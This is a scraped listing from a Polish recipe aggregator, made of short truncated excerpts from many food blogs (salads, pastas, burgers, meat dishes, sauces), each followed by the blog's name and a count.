balsamicznego 500-600 g polędwiczki wieprzowej sól morska szczypta słodkiej papryki w proszku 2 łyżki mielonego pieprzu czarnego 2 łyżki oliwy Dressing miodowo-cytrynowy: 4 łyżki oliwy 1 łyżka sosu sojowego 1 łyżka soku z cytryny 1½ łyżki miodu 1 ząbek czosnku, przeciśnięty przez praskę szczypta soli i pieprzu Przygotowanie: W dużej misce wymieszaj kawałki dyni z curry, miodem, olejem

karmelowy
ADOPTOWANA = KOCHANA 221

losu. Szczerze mówiąc zapowiadało się kompletnie inaczej… dopiero po czasie „szczęście w nieszczęściu” przeważyło na szali.  Tego dnia w Warszawie, a więc 350km ode mnie nasza Fundacja (SOS Bokserom) przeprowadzała razem z Pogotowiem dla Zwierząt i asystą policji interwencję. W wielkim skrócie – rozbijanie pseudohodowli gdzie pies-matka to maszynka do zarabiania pieniędzy, a szczeniaki, to zwykły produkt, na którym

Wypisz Wymaluj
Sandacz z sufletem z łososia. 212

bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Idealne połączenie łososia  i jakże delikatnego sandacza.    Podanego z sosem beurre blank i  purre z kukurydzy.  Do tego surówka z lekkim pazurem.  Eksplozja smaku w każdym kęsie.  Niebanalne, finezyjnie i zgodne z zasadą efektu WOW. Składniki

Malinowe Pocałunki
Buraczane burgery z aioli 290

poszukiwania idealnej bułki do burgerów nadal trwają, ale nie oznacza to, że nie będziemy mieć burgerów. Dzisiaj z buraków, z nutką aioli. Cóż to jest aioli? To tradycyjny czosnkowy sos prowansalski. Żółtka ucieramy z czosnkiem i musztardą, następnie powoli dolewamy olej oraz sok z cytryny i ubijamy trzepaczką

Gotuj z Blue Raven
Buraczane brugery z aioli 257

poszukiwania idealnej bułki do burgerów nadal trwają, ale nie oznacza to, że nie będziemy mieć burgerów. Dzisiaj z buraków, z nutką aioli. Cóż to jest aioli? To tradycyjny czosnkowy sos prowansalski. Żółtka ucieramy z czosnkiem i musztardą, następnie powoli dolewamy olej oraz sok z cytryny i ubijamy trzepaczką

Gotuj z Blue Raven
Pstrąg z curry Bombaj. 182

Wlać mleczko kokosowe i sok wyciśnięty z połowy cytryny. Zagotować i trochę zredukować na małym ogniu. Włożyć rybę, przykryć i dusić 10 minut,rybę przewrócić i dusić 10 minut. Sos od czasu do czasu przemieszać. Łodygi selera naciowego pokroić w cienkie ukośne plasterki, pomidorki przepłukać i wrzucić na patelnię. Zalać małą ilością wody z 1 łyżeczką oliwy i dusić

Kulinarny karnet Christophera
Omlet z łososiem 185

Omlet z łososiem i sosem tzatziki SKŁAD: 2 jajka L 50 g łososia wędzonego  50 g jogurtu przyprawa tzatzyki (użyłem z prymatu najlepsza jest)    PRZYGOTOWANIE : Oddzielamy żółto od białek  Ubijamy białko na sztywno Dodajemy żółtko do białka, lekko mieszamy Dodajemy łososia pokrojonego w kawałki, sól,pieprz  Na patelnie wlewamy niewielka ilość oleju i rozsmarowujemy papierowym

Sylwetka Od Kuchni
Szpinakowe pesto 195

Świeży szpinak kusił mnie wczoraj soczystą zielenią na bazarze :-). A ponieważ lubię mieć w lodówce jakiś sos "na szybko" do makaronu, padło na pesto ! Szpinakowe pesto Składniki: 5 dużych garści liści szpinaku, bez łodyżek 3 ząbki czosnku 4 łyżki ziaren słonecznika 4 łyżki oliwy z oliwek EV 4 łyżki starego twardego sera typu parmezan sól, pieprz Wykonanie: Szpinak płuczemy

Kulinarne przygody Gatity
Salsa chili na zimę 238

Przepis na salsę wypatrzyłam u Malwiny na blogu  Filozofia smaku . W domu lubimy meksykańską kuchnię, ale nie przepadamy za gotowymi kupnymi sosami. A teraz będziemy się mogli delektować cały rok własnoręcznie wyprodukowaną ostrą salsą. Wykorzystam ją do  quesadillas z kurczakiem  albo do  quesadillas z serem . Kto ma ochotę, niech się spieszy, bo jeszcze na targach mamy

Kulinarne przygody Gatity
Ajwar, pasta z pieczonych warzyw 223

ajwar, bardzo smaczna pasta czy też sos przygotowany na bazie pieczonych warzyw: papryki i bakłażana. Potrawa ta wywodzi się z kuchni bałkańskiej i różni się nieco swoim składem w zależności od regionu. Moja dzisiejsza propozycja nie zawiera na przykład pomidorów. Równie dobrze smakuje na ciepło, jaki na zimno. Możemy ją robić na bieżąco, albo zawekować  w słoikach, żeby pozostała

Kulinarne przygody Gatity
Kukurydza w mleku kokosowym 200

Gotowana w niezłej mieszance: mleko kokosowe, pasta krewetkowa, sos rybny, miód i różne przyprawy. Może być podana jako deser, jedno z dań lub jako dodatek. U nas była dodatkiem do kaczych nóg upieczonych z imbirem. Ostra, słodka, słona, pyszna. Sam … Czytaj dalej

slodkokwasnapl
Szaszłyki drobiowe z młodymi ziemniakami 370

minut. Do 2 łyżek oliwy dodałem sok z limonki oraz łyżeczkę miodu i dokładnie wymieszałem. Sałatę roszponkę wymieszałem z pomidorami koktajlowymi, których nie zużyłem do szaszłyków i całość polałem sosem z oliwy, soki z limonki i miodu. Na talerze wyłożyłem ziemniaki, które delikatnie polałem kefirem z koperkiem, a następnie posypałem z wierzchu niewielką ilość pozostałego koperku. Szaszłyki i sałatę

Wyprawy kulinarne
Owoce morza w tempurze 235

osób): 2 szkl. mrożonych owoców morza 100g mąki tempura (do kupienia w dziale "kuchnie świata") 100ml lodowatej wody 1 jajko mąka do obtaczania sok z cytryny lub limonki sos sojowy olej do głębokiego smażenia + makaron sojowy do podania (opcjonalnie) 1. Owoce morza rozmrażamy (jeśli zalejecie je letnią wodą, trwa to ok. 20 minut). Odsączamy je dokładnie na ręczniku papierowym

Tajskie smaki
Smażony makaron na ostro z grzybami i pomidorami 356

kurczaka 1 cm imbiru 1 papryczka chilli 15 g suszonych grzybków shiitake 1 mała cebulka szczypior 1 ząbek czosnku 2 duże pomidory bez skórki 100g noodli  2 łyżki sosu sojowego jasnego 2 łyżki oleju arachidowego 1. Grzyby shiitake zalewamy wrzątkiem i odstawiamy na pół godziny. Ja dodałam tyle wody, żeby później ugotować w niej makaron :) Makaron przygotowujemy o minutę

Tajskie smaki
Sałatka z brokułów i fety 1093

Wpis pochodzi z www.mgotuje.pl Dziś przedstawiam Wam mój przepis na sałatkę, którą uwielbiam i mogłabym jeść bardzo często. Brokuły z fetą, prażonymi pestkami słonecznika, polane sosem czosnkowym. Można ją podawać jako osobny posiłek na lunch, kolację ale równie dobrze pasuje jako przystawka na różnego rodzaju przyjęcia. Polecam ją każdemu. Post Sałatka z brokułów

Marta Gotuje
Sałatka z gruszką, serem pleśniowym i orzechami 562

Wpis pochodzi z www.mgotuje.pl Słodka gruszka, wyrazisty ser i chrupiące orzechy na mieszance sałat. Wszystko polane sosem miodowo – cytrynowym. Przepyszna sałatka z ciekawą kompozycją smakową. Polecam każdemu Post Sałatka z gruszką, serem pleśniowym i orzechami pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Pasta z chilli 373

jest ognista, jednak ostra. Korzystałam z papryczek chilli oraz ostrych papryczek czereśniowych, które pozostały po przetworach. Pasta jest bardzo łatwa w przygotowaniu, idealna jako dodatek smakowy do kanapek, makaronu, sosów czy zup. Składniki (na dwa małe słoiczki): ½kg papryczek chilli (lub innych ostrych, np. czereśniowych) 6-10 ząbków czosnku 2 łyżki oliwy z oliwek 1 łyżka octu z białego wina

PastelFood
Sałatka z roszponki, pomidorów i ogórków, ze słodko-kwaśnym dresingiem 488

lubię w zestawie i nic mnie nie przekona by to zmienić. Do sałatki przygotowałam słodko- kwaśny dresing przygotowany z: 1 łyżeczki czerwonego octu winnego, 1 łyżeczki sosu sojowego, 1 łyżki oleju, 1 łyżeczki musztardy z białym winem, oraz 1 łyżeczki miodu, wymieszałam wszystkie składniki na dresing, tworząc coś w rodzaju majonezu. Pomidory pokroiłam w ćwiartki, ogórki wraz ze skórką

Damsko-męskie spojrzenie na kuchnię
Grillowane kanapki (Grilled Panini Sandwiches) 254

jakimś pysznym i sycącym śniadaniu. proponuję przygotować na śniadanie zapiekane lub grilowane kanapki z szynką, kanapki z chleba tostowego z szynką szwarcwaldzką, mixem sałat , pomidorkiem koktajlowym, delikatnie muśnięte sosem z jogurtu greckiego i majonezu z dodatkiem chilli w młynku, dla zaostrzenia smaku. Bufet kanapkowy uważam za otwarty: grillowane kanapki, angielskie sandwiche, czy włoskie panini, jak zwał tak zwał, byle kanapki

Damsko-męskie spojrzenie na kuchnię
Udka kurczaka duszone w piwie z musztardą i miodem / Chicken thighs stewed in beer with mustard and honey 372

ręcznikiem. W głębokiej patelni rozgrzać olej i podsmażyć udka kurczaka z obu stron na brązowy kolor. Cebulę posiekać i dodać do udek pod koniec smażenia. W osobnym naczyniu przygotować sos – wymieszać ze sobą piwo, miód, musztardę, pieprz cayenne i kminek.  Tak wymieszane składniki wlać do patelni z udkami. Gdy całość się zagotuje, zmniejszyć ogień, przyprawić solą i pieprzem

Świat Smaku
Paprykowa przystawka 311

Wpis pochodzi z www.mgotuje.pl Paprykowa przystawka to roladki z papryki i fety z dodatkiem oliwek, pomidorków koktajlowych oraz sosu winegret. Przystawka, którą ostatnio wymyśliłam jest bardzo smaczna i doskonałe pasuje jako przekąska na imprezę. Post Paprykowa przystawka pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Kanapka "włoska" ( z mozzarellą, pomidorem, oliwkami i bazylią ) 176

margaryna nie zaszkodzi ;) Składniki: ( na 1 kanapkę ) * 1 półbagietka * 1/2 kulki mozzarelli dużej ( opakowanie 250 g ) * 1/2 pomidora * 4-5 oliwek czarnych * margaryna Śniadaniowa PREMIUM z masłem na emulsję ( sos ) bazyliową: * garść liści bazylii * 1 łyżeczka miodu ( płaska ) * 2 łyżki oliwy z oliwek * 1 łyżeczka octu jabłkowego * sól Wykonanie: Przygotować emulsję bazyliową. Liście bazylii umyć, umieścić w pojemniku do miksowania

kolorowotorcikowo
KartofLove Story 219

cienkie plasterki ( prawie jak na chipsy ). Brukselkę opłukałam, odcięłam końcówki, przekroiłam na połówki. W żaroodpornym naczyniu ułożyłam naprzemiennie warstwami ziemniaki i brukselkę, tak aby wierzch wieńczyły ziemniaki.  Przygotowałam sos beszamelowy, do którego dodałam starty żółty ser. Mieszałam, aż do jego rozpuszczenia. Całość wylałam na przygotowane warzywa. Naczynie przykryłam folią aluminiową i wstawiłam do nagrzanego piekarnika (180st.) na 30min

bastalena
Diabeł tkwi w szczegółach czyli PITy wypełnione 195

marynowałam przez noc w mieszance ostrej papryki, czosnku, oregano i oliwy. Usmażyłam. Jako dodatki użyłam plastry pomidora, piórka cebuli oraz zielone oliwki. Usmażone chlebki wypełniłam farszem oraz podałam z sosem  tzatziki .  Chlebki proponuję wykonać z tego  przepisu  lub wypróbować szybszą, smażoną wersję czyli Pitę Pan. Z drożdży, wody, cukru i łyżki mąki zrobiłam rozczyn ( 15min

bastalena
1565. Gulasz drobiowy z kapustą 226

obiad gotowy prawie w kilka  minut.. pierś z kurczaka lub mięso gulaszowe z kurczaka 1 cebula 2-3 marchewki kawałek kapusty sól, pieprz, wegeta listek, ziele koperek sos Worcestershire Do pokrojonego mięsa dodać przyprawy [ według gustu], podsmażyć na oliwie.Cebulę pokroić w kostkę i lekko zeszklić, dodać marchewkę startą na grubej tarce i poszatkowaną kapustę, Chwilę razem przesmażyć

Moje domowe kucharzenie
Spaghetti bolognese 288

Wpis pochodzi z www.mgotuje.pl Spaghetti bolognese to popularne włoskie danie makaronowe. Złożone z makaronu, sosu i sera jest szybkie w wykonaniu, a zarazem sycące i bardzo smaczne. Post Spaghetti bolognese pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Kurczak barbecue 443

Wpis pochodzi z www.mgotuje.pl Kurczak barbecue z pieczonymi młodymi ziemniaczkami to doskonały pomysł na niedzielny obiad. Danie wychodzi bardzo smaczne, lekko słodkie z dodatkiem pikanterii. Sos doskonale komponuje się z kurczakiem a ziemniaki w nim pieczone nadają mu fajnego smaku. Przepis na kurczaka znalazłam w Kuchni Lidla, którego autorem jest

Marta Gotuje
Pizzerinki 208

Wpis pochodzi z www.mgotuje.pl Pizzerinki z sosem pomidorowym, serem mozzarella i pomidorami. Bardzo smaczne, mięciutkie w środku, idealne na imprezę lub przekąskę. Można przygotować je również z innymi, dowolnymi dodatkami. Ja robiłam również z pieczarkami, szynką i żółtym serem. Zapraszam do wykonania. Post Pizzerinki pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Ciabatta z filetem kurczaka, pomidorem, ogórkiem i sałatą lodową 254

Post Ciabatta z filetem kurczaka, pomidorem, ogórkiem i sałatą lodową pojawił się poraz pierwszy w KulinarnePrzeboje.pl .

Kulinarne Przeboje
Linguine z krewetkami - cóż za cudo! 201

Biorę drugą patelnię i króciutko podsmażam krewetki na oleju z rozgniecionymi ząbkami czosnku (dosłownie 1-2min). Następnie zalewam winem i odparowuję. Wyjmuję czosnek. Wcześniej przygotowany sos wlewam przez sitko. Dorzucam makaron (można również wlać trochę wody z gotowania makaronu). Dodaje drobniutko posiekaną papryczkę, solę i pieprzę. Całość chwilkę pitraszę. Następnie zdejmuję z ognia i dodaję masło pokrojone w drobne

Brzuszki Łakomczuszki
Koktajl ogórkowy na kefirze 193

potem ścieramy tarce jarzynowej o dużych oczkach. Ten koktajl przygotowałam z 1/2 litra schłodzonego w lodówce domowego kefiru, 3 ogórków gruntowych, 1 łyżeczki siekanego koperku. Doprawiłam całość pikantnym sosem piri piri, solą i ognistą mieszanką przypraw. Można koktajle przygotowywać z różnych warzyw, można dodać buraka , koktajl warzywny nabierze wtedy fantastycznego, koloru fuksji, tak jak chłodnik z botwinki. Polecam też przepisy

Damsko-męskie spojrzenie na kuchnię
PESTO ROSSO (z suszonych pomidorów) 158

Zdecydowanie moje ulubione pesto. Polecam użyć je jako baza sosów do pizzy i makaronów. Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach i na naszym Facebooku (oczywiście podpiszemy Twoje dzieło). CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
GULASZ PO CYGAŃSKU 276

Pyszny i rozgrzewający obiad. Przepis moja Mama dostała od swojej koleżanki Ewy. Po zmodyfikowaniu powstał pyszny sos (Mama dodała papryki, zioła). Naprawdę polecam. Zamarzył mi się taki gulasz z plackiem ziemniaczanym. Pycha! Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach i na naszym Facebooku (oczywiście podpiszemy Twoje

Przepisy Aleksandry
KOLOROWE WRAPY Z KURCZAKIEM 410

wszystkie elementy, z których przygotowałam wrapy, przepisy ukazały się na blogu wcześniej (wystarczy kliknąć na nazwę, by otworzyła się strona z przepisem): Tortilla Gęsty sos czosnkowy Kurczak panierowany w stylu amerykańskim Wrapy można podać na zimno lub ciepło. Z reguły kładę na stół wszystkie składniki i każdy biesiadnik sam składa swoje danie.  Panierowany kurczak.  Sałatka do wrapów

Przepisy Aleksandry
KOTLECIKI MIELONE NADZIEWANE ORZECHOWĄ FETĄ 269

Kotlety nadziewane orzechową fetą to jedno z moich ulubionych (ostatnimi czasy) dań. Najbardziej smakują mi na zimno, pokrojone na kanapkę, ale sprawdzą się też w sosie z makaronem. Jeżeli masz dość zwykłych mielonych, "podrasuj" je moim sposobem :). Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach

Przepisy Aleksandry
Pulpeciki w pomidorach 179

Delikatne, mięsa kuleczki z pysznym sosem na bazie krojonych pomidorów. Do tego młode ziemniaczki i może ogórek małosolny ? Rewelacyjny obiad, zdrowy i smaczny. Składniki : * 0,5 kg mięsa mielonego - u mnie z udek kurczaka * cebula * 2 ząbki czosnku * 2 łyżki płatków bądź otrębów owsianych * jajko * sól, pieprz  * puszka krojonych pomidorów * łyżeczka cukru trzcinowego * łyżka oliwy z oliwek  * świeże

Magiczne Życie Marty
Spaghetti pełnoziarniste na szpinaku 195

szpinak przełożyć do patelni z cebulą i pieczarkami, wlać mleko - dusić 2 minuty. Na koniec dodać starty na tarce ser, doprawić do smaku solą i pieprzem. Na talerz wykładać sos szpinakowy, formując wieniec. Na środku położyć porcję makaronu. Smacznego

kolorowotorcikowo
Makaron strozzapreti z kwiatami cukinii- czyli ksiądz się dławi i co z tego wyniłko 191

jest wiosennie i kolorowo, że nie mogłam się oprzeć cudownie żółtym kwiatom cukinii. Kupiłam je wraz z młodziutką cukinią z myślą o przygotowaniu przepysznego sosu do makaronu. W zeszłą sobotę były już u nas smażone cukinie i ich kwiaty, a dzisiaj dla odmiany lekko duszone. Kwiaty cukinii są bardzo delikatne, nie można ich przetrzymywać zbyt długo, bo po prostu zwiędną

Mia Cucina Sofieta
Pasta alla Norma 265

orzeszki pinii. Na osobnej patelni na 2 łyżkach  oliwy extra vergine Delicato  dusimy(2/3 min) pomidorki przekrojone na pól, dodajemy czosnek, sól i pieprz do smaku. Jeśli sos jest zbyt gęsty dodajemy 2 łyżki wody w której gotuje się makaron.  Gotujemy makaron al dente( u mnie 10 mni). Ugotowany i odcedzony makaron wrzucamy na patelnię, na której

Mia Cucina Sofieta
Jesienny makaron z dynią 177

życiu dyni, że mu już ona dawno wyszła uszami, więc miałam nie lada problem, jak ją bezboleśnie “przemycić” w obiedzie. Postawiłam na makaron ( u nas nigdy dość) w aksamitnym sosie z dyni, z grzybami, rukolą i szpekowymi chipsami. O szpeku pisałam tutaj . Lekko, a co najważniejsze: dyni widać nie było, a spora garść świeżej rukoli skutecznie przyćmiła jej słodycz

Mia Cucina Sofieta
6. Mięso, bułka, warzywa, czyli burgery z kurczaka! 343

pokrojona w paski 2-3 ogórki kiszone pokrojone w plastry pomidor pokrojony w plastry plastry żółtego sera (dowolnego, takiego jaki lubimy najbardziej) cebula pokrojona w krążki musztarda, lub dowolny sos Ja po złożeniu hamburgerów i "spięciu" ich patyczkiem do szaszłyków, by się nie rozsypały, wstawiłam je jeszcze na chwile do rozgrzanego piekarnika (ok.8 min). Kombinacja dodatków jest dowolna i każdy

Symfonia Smaków
29.Niedzielny obiad z symfonią smaków: czyli pieczone piersi kaczki z pomidorkami koktajlowymi! 231

pół pomidorków koktajlowych + 2 łyżeczki cukru trzcinowego 3 pełne łyżeczki domowej konfitury żurawinowej (może być też kupna) Marynata:  2 ząbki czosnku przekrojone na 3 części 3 łyżki sosu sojowego 2 łyżki octu balsamicznego 2 łyżki czerwonego octu winnego 2 łyżki płynnego miodu 2,5 łyżki oliwy z oliwek 2/5 szkl zimnej wody zimnej wody 4 łyżki białego, wytrawnego

Symfonia Smaków
40.Słona, chrupiąca czterdziestka: czyli drożdżowo - maślane paluchy z dipem serowym! 244

podgrzewamy na średnim ogniu. Do wrzącej śmietanki dodajemy pokrojoną w plasterki mozarellę oraz starty ser. Wszystko energicznie mieszamy, aż do rozpuszczenia serów i zgęstnienia. Zestawiamy z ognia i przyprawiamy. (Sos ten jest świetną alternatywą dla dipów na bazie serków topionych, mozarella nadaje mu delikatności i nie jest on przesadnie serowy.) Pysznego chrupania! (; W przepisie zostały użyte przyprawy Kamis - życie

Symfonia Smaków
Kebaby z grilla 233

cevapcici. Zresztą mięso można dowolnie modyfikować dodając rożne przyprawy, robiąc je z grilla, z patelni czy w piekarniku. Za każdym razem są udane i pyszne. Podaje je zawsze z sosem czosnkowym albo tzatziki. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Leczo 237

Leczo jak zapewne wiecie to węgierska potrawa, przyrządzona z pokrojonych w cząstki składników w gęstym pomidorowym sosie. Może być daniem tylko z warzyw, a może mieć elementy mięsne jak kiełbasa, boczek a nawet klopsiki z mięsa mielonego. Ja leczo jadam jako samoistne danie z dodatkiem chleba czy bułki, szczególnie latem i jesienią, kiedy warzywa są w przystępnej cenie. Tak przyrządzone

Bernika - moj kulinarny pamietnik
Kaczka po pekińsku 308

domu i zrobić sobie male, chińskie święto. Pyszne święto. Do tej kaczki będę wracać, co jakiś czas, bo jest genialna. Przepis ze strony Jakuba Kuronia . Do tego domowy sos hoisin z tej strony . Zapraszam. A przy okazji, nie wyrzucajcie wyluzowanych kości z kaczki po jej upieczeniu, tylko ugotujcie na niej pyszny bulion, podstawa fajnych zup. Przepis tutaj . Czytaj więcej

Bernika - moj kulinarny pamietnik
Nadziewany mięsem zapiekany kalafior 413

się ma kalafior i nie ma na niego pomysłu. Otóż można go nadziać mięsem mielonym z ulubionymi dodatkami i zapiec w piekarniku w całości np pod serem albo sosem holenderskim. Danie pyszne, sycące, jednogarnkowe, niewymagające dużo czasu, umiejętności i uwagi. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Kotlety z ryżu 450

obiadu albo kiedy w lod ó wce hula tylko wiatr. Jest tanie, sycące, proste i idealne dla wegetarian i na piątkowy obiad. Polecam te alternatywę domowych kotletów, szczególnie z sosem pomidorowym. Czytaj więcej

Bernika - moj kulinarny pamietnik
Sałatka z bobem i kurczakiem 263

chleba pełnoziarnistego 3 lub 6 jajek (1jajko lub dwa na porcję) oliwa Dresing : 3 łyżki oliwy 1 łyżka miodu gryczanego 1 i 1/2 łyżki soku z cytryny 1/2 łyżeczki sosu rybnego 2 ząbki czosnku (bardzo drobno posiekane lub przeciśnięte przez praskę) W garnku zagotować wodę, dodać bób i gotować około 4 minut. Następnie odsączyć, wystudzić i obrać ze skórki. Odstawić

Zabawa smakiem
Skrzydełkowy knedel 256

robię z nich farsz do pierogów lub pasztecików , albo obsmażam panierowane. To jest propozycja podobna. Ugotowane skrzydełka po obraniu rozdrabniam i robię z nich knedel na parze. Podaje z sosem zrobionym na bazie wywaru w którym się gotowały ( trzeba pamiętać by odlać go trochę w czystej formie zanim zacznie się robić zupę). Czytaj więcej

Buniabaje w kuchni
Domowy majonez 215

wychodzi dość spory słoiczek. Ja najdłużej przechowywałam go w lodówce 10 dni. Przeważnie wystarcza na dwa dni góra , szczególnie gdy robię sałatkę. Zachęcam wszystkich do robienie swoich własnych majonezów , sosów czy ketchupów. Te ze słoika to w większości sama chemia. Składniki

Magiczne Życie Marty
Jogurtowy i meksykański dip do nachos-ów 203

nikogo kto by nie uwielbiał chipsów bądź nachos-ów? Fajnie jest pochrupać coś przed TV, szczególnie gdy pogoda za oknem nieciekawa. U mnie dzisiaj propozycja na dwa dobre sosy. Idealnie pasują do nachos-ów. Warto też przygotować chipsy samemu, przepis na nie na pewno pojawi się na blogu. Dip jogurtowy : * pół szklanki jogurtu naturalnego lub greckiego * ząbek czosnku * sól, pieprz

Magiczne Życie Marty
Masełkowy Kurczaczek 182

kolejki w przychodniach, masa ludzi chorych. Czosnek jest niezawodny zarówno w leczeniu przeziębień, jak i w profilaktyce zapobiegania przeziębieniom. Mój syn czosnek jak najbardziej dodaje do pieczenia drobiu, w sosach również zjada, jednak na kanapce w czystej postaci nigdy w życiu! Zrobiłam masło czosnkowe, takie na kanapki, do tego w formie sympatycznego kurczaka i co? Udało się! Spokojnie patrzę

Blondynka Gotuje
Spaghetti aglio olio 231

Teraz drugi przepis, który znalazłem. Na pyszny makaron w świetnym sosie. Bardzo prosty i szybki w przygotowaniu. Składniki Olej z oliwek, 4 ząbki czosnku, 2 chili , Pół pęczka pietruszki, Sól, pieprz Przygotowanie Na patelni rozgrzewamy 4 łyżki oleju. Drobno siekamy chili, czosnek i pietruszkę. Na rozgrzany tłuszcz wrzucamy czosnek i papryczkę. Dodajemy ugotowane al dente spaghetti i dodajemy pietruszkę całość

cookpl
Makaron z tuńczykiem i brokułami 217

mój dzisiejszy obiadek, który przygotowuje się  bardzo szybko.  Zobaczcie sami. Składniki: 500 g makaronu penne, 2 puszki tuńczyka ja używam w sosie własnym Jeden  brokuł, 5 łyżek majonezu, można  użyć 2 łyżek majonezu i 2 łyżek jogurtu naturalnego, Sól pieprz Przygotowanie: W garnku wstawiamy wodę na makaron, solimy ją, a gdy zacznie wrzeć wsypujemy makaron

cookpl
Sałatka z tortellini, szynką, papryką, ogórkiem i kukurydzą 457

Post Sałatka z tortellini, szynką, papryką, ogórkiem i kukurydzą pojawił się poraz pierwszy w KulinarnePrzeboje.pl .

Kulinarne Przeboje
Paluszki z ciasta francuskiego z boczkiem 370

Post Paluszki z ciasta francuskiego z boczkiem pojawił się poraz pierwszy w KulinarnePrzeboje.pl .

Kulinarne Przeboje
Orzechowiec z jabłkami prażonymi 121

stroną na kremie. Dociskamy go lekko. Górę biszkoptu również możemy nasączyć ponczem. Wykładamy resztę kremu mascarpone wyrównując powierzchnię.   5. Dekoracja. Górę torcika dekorujemy posiekanymi orzechami włoskimi, oraz sosem karmelowym (patrz film) Wstawiamy torcik do lodówki na dobrych parę godzin, a najlepiej zostawić na noc w lodówce. Torcik jest stabilny, mięciutki, pięknie się prezentuje i co najważniejsze jest rewelacyjny

Rita creative
Sznycle cielęce po wiedeńsku - klasyka austriackiej kuchni 93

spodobać: Kotlety mielone z indyka Łatwe do zrobienia najsmaczniejsze kotlety mielone KOTLETY MIELONE Z PIECZARKAMI NAJLEPSZY KOTLET SCHABOWY - przepis Magdy Gessler KOTLETY Z KARKÓWKI PANIEROWANE Kotlety schabowe duszone w sosie Hoisin

Moja Książka Kucharska
Zupa krem z pomidorów z bazylią: zupa gotowa w 20 minut! 83

mogą Ci się spodobać: Sałatka Caprese - klasyczna włoska sałatka, przepis   BRUSCHETTA Z POMIDORAMI - klasyczny przepis ZUPA POMIDOROWA z makaronem Jajecznica z pomidorami: przepis Sałatka pomidorowa z najbardziej niesamowitym sosem Prosta sałatka z tuńczykiem, pomidorami, ogórkiem i oliwą z oliwek Zupa pomidorowa

Moja Książka Kucharska
Grzyby po „Kaszubsku” 106

wymieszaj. Przelej do grzybów z cebulą, zamieszaj do połączenia składników. Do wyparzonych słoików włóż po jednym listku laurowym i po 2-3 kulki ziela angielskiego. Wypełnij słoiki grzybami w sosie. Zakręć i sterylizuj w szybkowarze 35 minut. Lub jeśli nie posiadasz szybkowaru, 2 dni po 30 minut od zagotowania w garnku z wodą. Jeśli nie używasz szybkowaru, słoiki pozostawiaj

Ogrodnik w podróży
Smażone gnocchi 85

zewnątrz va miękkie i delikatne w środku. Podsmaż je na maśle z dodatkiem oliwy, dzięki czemu masło się nie spali, a mimo wszystko potrawa będzie miała genialny maślany sos. @import url(https://assets.mlcdn.com/fonts.css?version=1696513); .ml-form-embedSubmitLoad{display:inline-block;width:20px;height:20px}.g-recaptcha{transform:scale(1);-webkit-transform:scale(1);transform-origin:0 0;-webkit-transform-origin

nietylkopasta.pl
Risotto z grzybami leśnymi 109

wykorzystanych składników lecz sam fakt, iż ryż w risotto wcale nie jest tak łatwo ugotować w poprawny sposób. Idealne risotto powinno być kremowe, ryż powinien być al dente a sos, który go pokrywa powinien być gęsty lecz płynny. Wiadomo, iż nie każdy ryż sprawdza się w risotto, konieczny jest wybór ryżu, który w trakcie gotowania dobrze wchłania płyn, staje się

MeCooks
RalfWhopperBurger – Burger z Plakatu vol.6 89

wegańskiego sera, który doskonale komponuje się z resztą składników. 3. Whopper Vegan BBQ: Jeśli lubisz smak dymnego BBQ, ta wersja Whoppera jest dla ciebie. Oprócz tradycyjnych składników, zawiera także sos BBQ, który nadaje mu wyjątkowy smak. 4. Whopper Vegan z awokado: Ta odmiana Whoppera skupia się na świeżości i zdrowych składnikach. Oprócz klasycznych składników, dodaje plastry awokado, które nadają

RafalCook
15-minutowa sałatka z kurczakiem i awokado - idealna na lunch do pracy 239

awokado Prosta sałatka z tuńczykiem, pomidorami, ogórkiem i oliwą z oliwek Prosta sałatka z buraków i fety Sałatka ze szparagów i parmezanu Przepis na sałatkę grecką z greckim sosem sałatkowym Sałatka z kurczakiem i awokado

Moja Książka Kucharska
Deska serów, wędlin i przekąsek na imprezę 74

pomieścić wszystkie składniki, pozostawiając trochę przestrzenie do łatwego serwowania. Praktyczne aspekty serwowania Naczynia i sztućce: zapewnij osobne noże do serów, widelczyki do wędlin i małe łyżeczki do dipów i sosów. Podział na strefy: rozdziel sery, wędliny, pieczywo i dodatki na różne strefy, aby ułatwić gościom komponowanie własnych przekąsek. Etykiety: jeżeli to możliwe, oznacz składniki etykietami, aby goście wiedzieli, co wybierają

Moja Książka Kucharska
Roladki z polędwicy wieprzowej 71

każdej strony, aż staną się złocisto-brązowe. Dodaj czerwone wino i bulion warzywny. Gotuj na małym ogniu przez około 40-50 minut, aż mięso będzie miękkie. Podawaj roladki z sosem i posyp ziołami, takimi jak rozmaryn czy tymianek. Rolada z polędwiczki wieprzowej – elegancja na talerzu Roladki z polędwicy wieprzowej to nie tylko danie pełne smaku, ale także elegancji. Mogą być

Ania i Marcin gotują
Kaczka pieczona w warzywach z pieczarkami 93

minut. Po czym zmniejsz temperaturę do 170-180C, nakryj pokrywką i zapiekaj około 2 godzin. Czas pieczenia to około 1 godzina na 1kg kaczki. W razie potrzeby gdyby sos zbyt odparował możesz podlać dodatkową porcją wina. Po upływie tego czasu ponownie zdejmij pokrywkę i podnieś temperaturę do 200C na dziesięć minut, żeby zrumienić skórkę. Serwuj na gorąco. Idealna

Ogrodnik w podróży
Prawdziwy tatar wołowy 142

szczypta świeżo zmielonego pieprzu czarnego Opcjonalne dodatki łyżka kaparów 2 łyżki marynowanych grzybów leśnych (np borowiki) lub pieczarek łyżeczka musztardy Dijon łyżka Maggi (popularna wśród osób pamiętających PRL) lub sosu Worcestershire Sposób wykonania prawdziwego tatara wołowego Zanim przystąpisz do zrobienia tatara, przeczytaj cały opis. Podaję w nim poszczególne etapy krok po kroku oraz wiele zamienników produktów, dzięki którym tatar będzie

Ania gotuje
Vindaloo z kurczakiem 100

